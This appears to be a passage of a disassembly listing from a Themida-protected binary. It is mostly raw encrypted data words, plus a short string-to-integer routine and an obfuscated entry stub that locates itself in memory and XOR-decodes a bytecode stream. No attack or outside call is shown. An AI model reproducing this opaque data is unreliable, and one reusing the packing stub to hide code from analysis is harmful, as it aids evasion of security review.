		dd 6451FC5h, 4DB28D8Bh,	81660645h, 0FE2E7FC3h, 1568FC01h
		dd 810B9F54h, 54952434h, 6A0B9Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0CF924FC3h, 0FF6A29F4h
		dd 0FFBF0F60h, 0CE9h, 1EB4000h,	97C06173h, 76CA2AE8h, 95FF61CFh
		dd 645328Dh, 1F69958Bh,	0F610645h, 0BD8DD3BFh, 6452A7Dh
		dd 179D958Bh, 4F8B0645h, 0A19D8B1Ch, 6A06451Ch,	0C3816601h
		dd 0BA9136AFh, 4304F2E0h, 10E850h
dword_544450	dd 0D09A0000h, 386C8D6Ch, 0B9026165h, 0A59FE23h, 0D18B509Dh
					; DATA XREF: ___:off_43CD24o
		dd 0B509915Ah, 6452A35h, 408F858Dh, 81660648h, 38B46F2h
		dd 452E9D95h, 0E9D0FF06h, 5, 6F3A2522h,	204F8BA3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B5C35545h, 0B6B160A8h
		dd 0FBB9EA63h, 971BA66h, 9D8B036Ah, 645222Dh, 89D08B50h
		dd 0FCB2240Ch, 408F858Dh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0B77725C3h, 81D0FF1Fh
		dd 264A32CAh, 7DBD8D08h, 8906452Ah, 4501FD8Dh, 1C4F8B06h
		dd 16AD38Bh, 26D8589h, 89500645h, 810F240Ch, 3,	8DD88B66h
		dd 48408F85h, 41BD8906h, 0FF064531h, 0C19D89D0h, 8B06451Eh
		dd 6A204Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 423883C3h, 6880Fh, 9D030000h, 645237Dh, 850F036Ah
		dd 2, 0F91D38Bh, 48Fh, 27BA6600h, 2B9150A7h, 450CA59Dh
		dd 8F858D06h, 0FF064840h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 974E75F9h
		dd 0CE10A656h, 4DB28D8Bh, 850F0645h, 5,	50D28166h, 6A01FEC8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 7ABEC357h, 0AEDBA021h, 8166C840h,	8B777FE3h
		dd 454DB285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 73EDA6DDh, 0E2CC798Dh, 6890Fh, 0B5890000h
		dd 6453301h, 800F00FEh,	19h, 14E9h, 8AB01400h, 9886124Dh
		dd 0DDDED395h, 8D726135h, 0A11B6FA2h, 6A016AC1h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 1556C351h, 41B50970h, 68064533h, 0D3D39E7Ah,	85243481h
		dd 6A2C2C01h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 413FC357h, 0F1EB9060h,	0E68061B0h
		dd 820F5037h, 2, 8D5BD18Bh, 48409985h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 2A24EA54h, 0C99D8BAEh, 0FF064502h, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 8C13F18Ch, 2E2BD4F5h, 0B75B589h, 89530645h, 453065B5h
		dd 0BD835A06h, 6450181h, 0FE840F00h, 66000000h,	163C281h
		dd 25BD83h, 0F010645h, 0EC85h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 7A06A29Ah
		dd 0D9C838D9h, 8BD9D23h, 85890645h, 645063Dh, 6226D381h
		dd 8D8D12B8h, 64840A3h,	0FC036AFCh, 6A016Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 12A11AC3h
		dd 0DBF36512h, 699D8BB3h, 0F064500h, 381h, 0DEB70F00h
		dd 0FE8D1FFh, 0
		dd 0D29EA75Ch, 0ED8BEE0Fh, 1FED9A46h, 2960E77Dh, 45334D8Dh
		dd 818D8B06h, 61064524h, 6A016A5Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 82D5C352h
		dd 0BD04B873h, 66016A27h, 0FF4A22BAh, 0D78B66D1h, 165D22E8h
		dd 52006AFAh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0D28003BFh, 6A206A52h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0BD2DC356h
		dd 8F624516h, 56A4892Fh, 5BD8BF0Fh, 3BD5BA66h, 0DE9FF6Ah
		dd 0E000000h, 0F66D92D5h, 980B8ADEh, 2A442620h,	5880Fh
		dd 81660000h, 0FF609BF2h, 45328D95h, 5D8D8906h,	0E906450Dh
		dd 13h,	8099DD5Ah, 77D7F634h, 0DD400945h, 8671AB77h, 0B82C6F3Dh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h
		dd 14B54477h, 0B5376A6h, 41840FC0h, 50000000h, 22A59533h
		dd 835B0645h, 451749BDh, 840F0006h, 2Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 0D3C35646h, 70458C03h
		dd 1E5D95FFh, 0BD890645h, 6451231h, 2F51858Bh, 0CA810645h
		dd 39726658h, 22E19D8Bh, 0C60645h, 0F99D8B00h, 5806452Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1CC35545h
		dd 0FE80CFFh, 0D000000h, 0BF0BBF59h, 4CEF26CDh,	9081146Eh
		dd 95892082h, 6450D31h,	8C66F85Bh, 5D8589D9h, 0F606452Bh
		dd 840F04C1h, 56h, 51E9h, 8D295600h, 6451599h, 0E5B58B5Ah
		dd 89064512h, 4530A5BDh, 80C68106h, 0BA000011h,	69507B45h
		dd 6C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 180424h, 55450000h, 0C21CD5C3h, 9D8B389Bh, 6451185h
		dd 2319589h, 6A5E0645h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8379C353h, 840F00F8h
		dd 0B2Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0C4C35242h, 93C11113h, 1F883D2h, 16A850Fh, 0FE90000h
		dd 3B000000h, 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 0B85397h
		dd 0BA000000h, 3BE10AEh, 840FC00Bh, 0BAh, 0CAD9D23h, 0F8830645h
		dd 0EE840F01h, 89000000h, 4501DDBDh, 3F88306h, 45840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 245E66C3h, 8BF128DEh, 4508FD9Dh, 56C02B06h
		dd 23B19D89h, 8D5A0645h, 5B7974BDh, 0DBB70F00h,	0D780E7FFh
		dd 959D8BF6h, 0B8064525h, 1, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 26C35141h, 66CB67D7h, 0E3BDDA81h
		dd 7974BD8Dh, 6A005Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3A4436C3h, 0FFD78B68h, 0A3FFBAE7h
		dd 0BD8D795Bh, 645443Eh, 0DE9DF8Bh, 0FB000000h,	0D4F7D963h
		dd 328A9F2Dh, 0A30EAEC1h, 290E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 568778FDh
		dd 552E9756h, 0D85C761h, 506454Eh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 7120C352h, 96E8136Dh, 9D29F7C8h, 64513B9h, 5B8h, 8AD88B00h
		dd 92EE9D3h, 0BD090000h, 6452A39h, 0F02F883h, 0F385h, 659D8B00h
		dd 0B8064515h, 0
		dd 9C6AE281h, 0C00B5037h, 0AA840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0D44996C3h
		dd 11E9CFh, 39180000h, 0AA6988h, 0F79F508Ch, 4CCCE34Ah
		dd 80279755h, 0F883A8CBh, 56840F01h, 89FFFFFFh,	4507D59Dh
		dd 3F88306h, 0FEAD840Fh, 0BB66FFFFh, 0C02B58B2h, 0D18ADF8Bh
		dd 7974BD8Dh, 9D8B005Bh, 6452F21h, 6AE7FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0C68FA3C3h
		dd 8642D75Bh, 0D98B3448h, 0FE8h, 760CD000h, 0DEC991A9h
		dd 1E3BDB7Bh, 6AFC4FC8h, 85895BF5h, 6452121h, 4636BD8Dh
		dd 10E80645h, 0B2000000h, 0B40CEEB6h, 2F07453Dh, 0B02ACE51h
		dd 662ABA40h, 0F24ADB81h, 133E95Ah, 8A0F0000h, 4, 0AF15BB66h
		dd 0F03F883h, 2585h, 5E800h, 3CE90000h,	80B0C5AAh, 8D5A08CEh
		dd 4547CABDh, 0C2816606h, 2E9CF0Ah, 50000001h, 0BB665BF5h
		dd 0F8832C12h, 0E850F05h, 89000000h, 451065B5h,	7EAE906h
		dd 8B660000h, 6F883D6h,	47850Fh, 9D8B0000h, 645306Dh, 49C2BD8Dh
		dd 6A0645h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E36EB5C3h, 0F2896510h, 9529F514h, 64509A1h
		dd 326D9D89h, 9AE90645h, 81000000h, 0DDED3EDAh,	7F88344h
		dd 46850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0B1D5D7C3h, 7AF66191h, 2BA18589h
		dd 0BD8D0645h, 6450E25h, 0C7FA2EBAh, 138E94Eh, 9E90000h
		dd 98000000h, 6AD4CE73h, 0A2C70555h, 0F0AF883h,	3C85h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 43608AE5h, 8DDA15E0h, 454BBABDh,	0E2816606h
		dd 0BB66EC93h, 6E935E7h, 29000000h, 45285D85h, 81665706h
		dd 0B9D9AAD2h, 5492469Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0DAC35646h, 6167CBCh,	287E6E96h, 0F003F83h
		dd 8784h, 7ED28100h, 300C850Ch,	558D290Fh, 0D1064507h
		dd 0E96060C9h, 0Eh, 0A932A2CEh,	0FADD1535h, 8138DBDh, 5F53D160h
		dd 615FB061h, 53006A47h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 3183679Fh, 8B7190E6h, 4509659Dh
		dd 8D958906h, 0E9064518h, 0FFFFFF98h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 27C35040h, 887A1F34h, 0BBA88390h
		dd 776688F4h, 53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 7428EBD9h, 1F9D9533h, 0BD890645h
		dd 6454DB6h, 8D8D18B3h,	6450331h, 28D9D8Bh, 0B5FF0645h
		dd 645011Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	6DC35545h, 6AECED29h, 93D43DBDh, 39858977h, 0E9064518h
		dd 9, 15CC3AB0h, 0F26B31EEh, 4B858D4Eh,	500647A8h, 5542BD8Dh
		dd 8D8D0645h, 6456F5Ch,	831ABCB8h, 30CF2B54h, 47C8D007h
		dd 8DF87549h, 456EC9B5h, 748D8D06h, 2B06456Fh, 33A4F3CFh
		dd 0B8C9h, 0C00B0000h, 0BD834674h, 6451749h, 0FF067400h
		dd 451E5D95h, 0B6B58B06h, 8D06454Dh, 47A84B85h,	8DD0FF06h
		dd 45421C85h, 0C7D0FF06h, 4503F985h, 106h, 1A58B00h, 8B064524h
		dd 45154DB5h, 0C5AD8B06h, 33064514h, 0CC2C0h, 332BBB66h
		dd 0E852006Ah
		db 3, 0
word_544F42	dw 0			; DATA XREF: ___:off_435748o
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 9DC35242h, 0BD305FA2h
		dd 8160D9BBh, 0ECD275D6h, 618CB12Ah, 5E1BD83h, 0F000645h
		dd 3384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 7CE175DAh, 2948E380h, 45023DB5h
		dd 595FF06h, 0BA06450Bh, 67E3BB4Bh, 169BD83h, 0F000645h
		dd 1BD85h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 3FE22CB7h, 893668CCh, 45197D95h
		dd 25BD8306h, 1064500h,	188850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0CF3A85C3h
		dd 6D21718Ch, 89E24CC3h, 4510F1BDh, 0D9BD8306h,	6452Ch
		dd 150840Fh, 95890000h,	64512B5h, 4E09BD83h, 0F000645h
		dd 13D84h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0FCE46AFDh, 8E0F6029h, 6,	8AD8D89h
		dd 0DB800645h, 858D61B6h, 647A84Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0F1C35242h,	0D8611B2Fh, 14E8h
		dd 84016200h, 6420A6A6h, 0F3806E40h, 0FB8F8E04h, 46BAE428h
		dd 0A5958B69h, 5A064520h, 4DB6B58Bh, 8B520645h,	0D0FF5BDFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 41C35747h
		dd 8E0F7CADh, 2, 85C6D88Bh, 6451829h, 1958B54h,	6806452Fh
		dd 0CC6F20DBh, 0BA525050h, 5F1B0D17h, 5250310Fh, 585A310Fh
		dd 815A585Ah, 9E192404h, 0FFF832DFh, 450985B5h,	68D0F06h
		dd 89000000h, 452B69B5h, 0FB858D06h, 89064539h,	450115B5h
		dd 89D0FF06h, 4517658Dh, 8E806h, 973F0000h, 0E31D8651h
		dd 830FD089h, 6, 2BB9952Bh, 6A5A0645h, 6AD78B00h, 0DAB70FFFh
		dd 8D89D0FFh, 6452B69h,	10A1B5FFh, 0EEBA0645h, 0FF6ACC4Ah
		dd 45011D95h, 0DA816606h, 0B58B360Dh, 6454DB6h,	0C9958B50h
		dd 5B064503h, 61CA81C3h, 8B20A3B3h, 452F51B5h, 99D2906h
		dd 0B06451Dh, 2D840FF6h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 814FC350h
		dd 11E59D89h, 0B70F0645h, 6C6DBh, 0B8BCBA66h, 4DBE8589h
		dd 85890645h, 6451335h,	0F00F883h, 31184h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0D06F513Eh, 5F0808ABh, 4559D8Bh, 66F50645h, 0B8DF8Bh
		dd 89000000h, 4511B195h, 0F88306h, 0C7840Fh, 8D890000h
		dd 645258Dh, 2830Fh, 0D18B0000h, 0F02F883h, 8085h, 0B6E28100h
		dd 8D7662A1h, 45443985h, 2DD18B06h, 929h, 0BE8h, 0F91B2700h
		dd 6AE03203h, 5D8436E9h, 2D019D03h, 905A0645h, 8B5089B7h
		dd 6A90DAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 8FDDC8C3h, 0C870Fh, 7E90000h, 35000000h
		dd 0B85F5A70h, 13E9FAD0h, 6000000h, 35AD707Eh, 70D0031h
		dd 65579227h, 0EC32B726h, 81C320C1h, 0A400DBF3h, 0B82Fh
		dd 0BD290000h, 6451025h, 229E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 7775E848h
		dd 1B853h, 0BB660000h, 0BD8DB072h, 645443Eh, 2EED958Bh
		dd 0F0B70645h, 0B7E9h, 8E900h, 0CB340000h, 487312C8h, 0F883C3FBh
		dd 1A850F02h, 8B000000h, 4517DD9Dh, 36BD8D06h, 31064546h
		dd 4501D99Dh, 8AE906h, 8B660000h, 3F883D3h, 42850Fh, 8B660000h
		dd 0CABD8DD7h, 6A064547h, 3E85300h, 20000000h, 895BC35Bh
dword_545350	dd 8104245Ch, 1B042444h, 43000000h, 4D67C353h, 0DEDB30ADh
					; DATA XREF: ___:off_43CCE4o
		dd 0F3815155h, 5F1012E8h, 0F19D8B50h, 5A064525h, 3FE9h
		dd 0DBBF0F00h, 0F05F883h, 3385h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0D9E9375Dh
		dd 8B000000h, 4530C59Dh, 58C0F06h, 0BA000000h, 27DD0761h
		dd 56006A57h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 23122F32h, 45326D95h, 4D958B06h,	0B9064519h
		dd 5492469Ch, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	0BDC35747h, 62E3A099h, 0A6DE7A4Dh, 8356CA80h, 840F003Fh
		dd 68h,	11399D8Bh, 0F300645h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0FEC35141h,	2B19501h, 0C9D10645h
		dd 50006A47h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 8BF40132h, 79958BA3h, 0BA06452Ch, 23E72C2Ah
		dd 0FFFF9AE9h, 5810FFFh, 0BB000000h, 773CF59Dh,	0F05F883h
		dd 6585h, 13E900h, 35460000h, 16506D9Ch, 1E094BF2h, 8D5399CEh
		dd 19FD3F59h, 0E9B509B6h, 66064516h, 870FD98Ch,	6, 261D8D09h
		dd 0C1F60645h, 14850F04h, 0F000000h, 0B8DEB7h, 29000000h
		dd 4518399Dh, 1CE906h, 8BF90000h, 45029185h, 0E0FFF506h
		dd 0DE9h, 2E55ED00h, 6E88082Bh,	49BD9E78h, 0BD83CA41h
		dd 645011Dh, 13850F00h,	66000001h, 123DD281h, 87BA6690h
		dd 8A0F5039h, 5, 0FBC99BBAh, 6A9047h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0B12CFCC3h
		dd 555DA92Ah, 2983995Eh, 45130DB5h, 2985C606h, 45064518h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A4C35141h
		dd 8A4D46A6h, 0B52950F0h, 6453365h, 4E85Ah, 69690000h
		dd 5B568E72h, 0AE950h, 93580000h, 0EB8ABE7Bh, 6B5CA403h
		dd 424448Bh, 8BD38B66h,	89F1B300h, 8B042444h, 9E958D8h
		dd 79000000h, 2EA8A3D5h, 0B9BE4840h, 985B5FFh, 9D890645h
		dd 6452431h, 39FB858Dh,	86B20645h, 958BD0FFh, 6450B95h
		dd 11D8589h, 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 8859DCC3h, 880FCD09h, 0
		dd 8850Fh, 8B520000h, 4517B19Dh, 80585B06h, 8F0FC9DEh
		dd 6, 1D759529h, 0BD830645h, 6454E0Dh, 5E840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0AC6BC352h, 3A4EAE01h, 9D8B54FAh,	645188Dh
		dd 0A28ABA66h, 10A1B5FFh, 0B5310645h, 6450461h,	11D95FFh
		dd 6A0645h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 531787C3h, 0F8835Ah, 103850Fh, 958B0000h
		dd 645243Dh, 995BD83h, 0F000645h, 9084h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0BD89D963h, 6451CBDh, 0B5FFF8B2h, 6450995h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DCC35141h, 1330D574h
		dd 894AD8DDh, 4518D185h, 1B806h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 4D6D13C3h
		dd 6DB58960h, 89064523h, 4528B99Dh, 0E4E96106h,	23000001h
		dd 452B1595h, 0A1B5FF06h, 0F064510h, 0B5FFDEB7h, 64510A1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 1C35040h
		dd 861AB07h, 499D096Eh,	0FF064518h, 45011DB5h, 8E906h
		dd 4A510000h, 3F815DBDh, 90E92095h, 8B000001h, 45044D95h
		dd 6860F06h, 8B000000h,	4504A995h, 0EB815F06h, 28AA1C66h
		dd 7B1BD83h, 0F000645h,	0FE85h,	7D958900h, 0C6064501h
		dd 45182985h, 9D8B4D06h, 6451CB1h, 4E8h, 3576A800h, 6840FA4h
		dd 50000000h, 0AB53BA66h, 8B66505Bh, 24448BD3h,	850F5704h
		dd 3, 5BD88B66h, 4489008Bh, 14E80424h, 0A000000h, 95F9B503h
		dd 1A752DBAh, 6310F14Bh, 0DB65AADCh, 66399DFDh,	5B365CBBh
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 6E80Bh, 5DCF0000h, 5929112Bh, 5BDA8B66h
		dd 68A0F51h, 9000000h, 4520F98Dh, 0B5FF5A06h, 6452BE5h
		dd 29919589h, 858D0645h, 64539FBh, 6219533h, 0D0FF0645h
		dd 12F99589h, 11E90645h, 1000000h, 46B41F2Eh, 67B0C733h
		dd 799AEA8Ah, 0F92DB6B3h, 7B18589h, 6A0645h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 80AAE9C3h
		dd 8CFF9CDFh, 0DF8B40B2h, 0B84AEA80h, 0
		dd 0BD89D18Bh, 6454DB6h, 0BDF8B66h, 27840FC0h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0E950C351h, 33h, 0A259D8Bh, 0B5FF0645h, 645011Dh
		dd 68C0Fh, 95330000h, 6452141h,	0A84B858Dh, 9E90647h, 0F000000h
		dd 0C35979A0h, 0B1D3F618h, 897EB350h, 50F92404h, 42BD8D56h
		dd 8D064555h, 4579A58Dh, 23BCB806h, 0CF2B7483h,	0C8D00730h
		dd 0F8754947h, 0BD83585Eh, 6450995h, 8B067400h,	4508B98Dh
		dd 0B8C93306h, 0
		dd 840FC00Bh, 99h, 1749BD83h, 74000645h, 5D95FF06h, 0B806451Eh
		dd 0
		dd 975C00Bh, 4DBEBD83h,	74010645h, 0BEBD8309h, 206454Dh
		dd 0B58B0E75h, 6454DB6h, 0A84B858Dh, 0D0FF0647h, 421C858Dh
		dd 0D0FF0645h, 2469BD83h, 75020645h, 1A58B2Fh, 8B064524h
		dd 45099585h, 24048906h, 3F985C7h, 10645h, 0B58B0000h
		dd 6454DBAh, 14C5AD8Bh,	1B80645h, 0C2000000h, 0EB000Ch
		dd 3F985C7h, 10645h, 0A58B0000h, 6452401h, 154DB58Bh, 0AD8B0645h
		dd 64514C5h, 0CC2C033h,	0E1BD8300h, 64505h, 0BD830F74h
		dd 6450B05h, 0FF067400h, 450B0595h, 0B6B58B06h,	0C306454Dh
		dd 2850FFCh, 8B000000h,	8BD22BDAh, 81950BD6h
		db 0Dh,	45h, 6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_545A1B
; ---------------------------------------------------------------------------

loc_545A19:				; CODE XREF: Themida_:00545A1Ej
		inc	eax
		inc	edi

loc_545A1B:				; CODE XREF: Themida_:00545A17j
		cmp	byte ptr [edi],	0
		jnz	short loc_545A19
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_545A4A
; ---------------------------------------------------------------------------

loc_545A27:				; CODE XREF: Themida_:00545A4Cj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_545A3F
; ---------------------------------------------------------------------------

loc_545A3C:				; CODE XREF: Themida_:00545A42j
		mul	ebx
		dec	esi

loc_545A3F:				; CODE XREF: Themida_:00545A3Aj
		cmp	esi, 0
		ja	short loc_545A3C
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_545A4A:				; CODE XREF: Themida_:00545A25j
		or	eax, eax
		jnz	short loc_545A27
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 21858B60h, 8B064520h, 451EC1B5h, 0C18B6106h,	22348E9h
		dd 5A003F00h, 2, 5A002800h, 5B002402h, 5B002400h, 12FF6800h
		dd 5AFB3200h, 20200h, 200h, 100h, 300h,	0EDF7300h, 0FAh
		dd 4 dup(0)
		dd 54927500h, 55069900h, 54839300h, 54CB1D00h, 5479C300h
		dd 54A16800h, 54B42800h, 54649D00h, 54C9ED00h, 54E86C00h
		dd 5495C100h, 54B7ED00h, 54690C00h, 55191100h, 545ED900h
		dd 54AC8500h, 5478A000h, 54781D00h, 54F49200h, 54A13F00h
		dd 54836500h, 54EAC700h, 54DC5400h, 54F53D00h, 54917D00h
		dd 54BDA200h, 54CA8800h, 547C4C00h, 54A18D00h, 54E84100h
		dd 54656E00h, 54996500h, 54B33400h, 54A3FB00h, 54B89F00h
		dd 54781600h, 547C5900h, 54A38600h, 54FAC700h, 54BED800h
		dd 54E2E900h, 54D23400h, 547A8D00h, 550E9100h, 5478AE00h
		dd 54BCD400h, 54A7F900h, 55208900h, 55129800h, 54A83A00h
		dd 54FAFD00h, 55032B00h, 551CB900h, 54D02000h, 55203400h
		dd 546B2900h, 5515C100h, 54FB1100h, 54C5A400h, 54D25700h
		dd 549BAD00h, 54EF4E00h, 54F61700h, 54759E00h, 545F3600h
		dd 55170100h, 54EC6000h, 54FFAE00h, 55193E00h, 54EFAE00h
		dd 54B8F600h, 54613100h, 54789800h, 546F7000h, 54A0A900h
		dd 54624900h, 54F07D00h, 54ACB900h, 54C65900h, 54E2FA00h
		dd 54873700h, 54D10500h, 54E28400h, 54B30300h, 549CCE00h
		dd 54834000h, 548B3A00h, 54ED5A00h, 54B91700h, 54F60800h
		dd 54707200h, 548AE900h, 55067D00h, 54DB2F00h, 550DAA00h
		dd 5498B800h, 5465B200h, 55155B00h, 5475DD00h, 5462B300h
		dd 5505CD00h, 55159E00h, 54C84300h, 546F5D00h, 54A5BF00h
		dd 54919F00h, 54865600h, 54AC5C00h, 54E25A00h, 5496F000h
		dd 549CA800h, 54899D00h, 54C3C500h, 54F13700h, 54F9A900h
		dd 54D4CC00h, 54CBB000h, 54696D00h, 54D16300h, 54B60100h
		dd 5486FA00h, 54B71100h, 54742B00h, 54784C00h, 547D0A00h
		dd 54DCD700h, 54AC0300h, 54ABB000h, 54936600h, 54EEDE00h
		dd 548ADF00h, 54A8A100h, 54C48500h, 54F19B00h, 54ECD300h
		dd 5481B100h, 54E88D00h, 54828B00h, 54EEB100h, 54E70C00h
		dd 54803F00h, 55183800h, 54AE6F00h, 54700400h, 550A9600h
		dd 5476B900h, 55066200h, 5462AB00h, 54BCBF00h, 54951B00h
		dd 54B90400h, 5495B700h, 54BDB000h, 54C8EA00h, 55057000h
		dd 5475F200h, 550EF300h, 54FECA00h, 5467D300h, 54CCD100h
		dd 54D81300h, 54666F00h, 54BC2700h, 54E64D00h, 551D5200h
		dd 5501BC00h, 54DA5600h
		db 0
; ---------------------------------------------------------------------------

loc_545D4D:				; CODE XREF: Themida_:005729B8j
					; Themida_:005943ABj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6457DE2h
		mov	eax, edi
		add	edi, 6457AFAh
		cmp	eax, [edi+2Ch]
		jnz	short loc_545D6B
		jmp	short loc_545D7E
; ---------------------------------------------------------------------------

loc_545D6B:				; CODE XREF: Themida_:00545D67j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_545D7A
; ---------------------------------------------------------------------------

loc_545D75:				; CODE XREF: Themida_:00545D7Cj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_545D7A:				; CODE XREF: Themida_:00545D73j
		or	ecx, ecx
		jnz	short loc_545D75

loc_545D7E:				; CODE XREF: Themida_:00545D69j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_545D8B:				; CODE XREF: Themida_:00545D92j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_545D8B

loc_545D94:				; CODE XREF: Themida_:00548811j
					; Themida_:loc_5497E4j	...
		lodsb
		xor	al, bl
		jmp	loc_549565
; ---------------------------------------------------------------------------

loc_545D9C:				; CODE XREF: Themida_:0054E1ADj
		mov	ecx, ebp
		jmp	loc_546DDF
; ---------------------------------------------------------------------------

loc_545DA3:				; CODE XREF: Themida_:0054DB16j
		mov	esi, ebx
		jmp	loc_54862D
; ---------------------------------------------------------------------------
		dw 0E5C0h
		dd 888EE906h, 0C0830000h, 24048704h, 0BF57555Ch, 60ED2CC1h
		dd 5A9BF781h, 0F78148C5h, 779C489Eh, 0BD55DFF7h, 4CD06F7Eh
		dd 5D28E581h, 0BA525175h, 26007BBDh, 7469E9h, 81E38900h
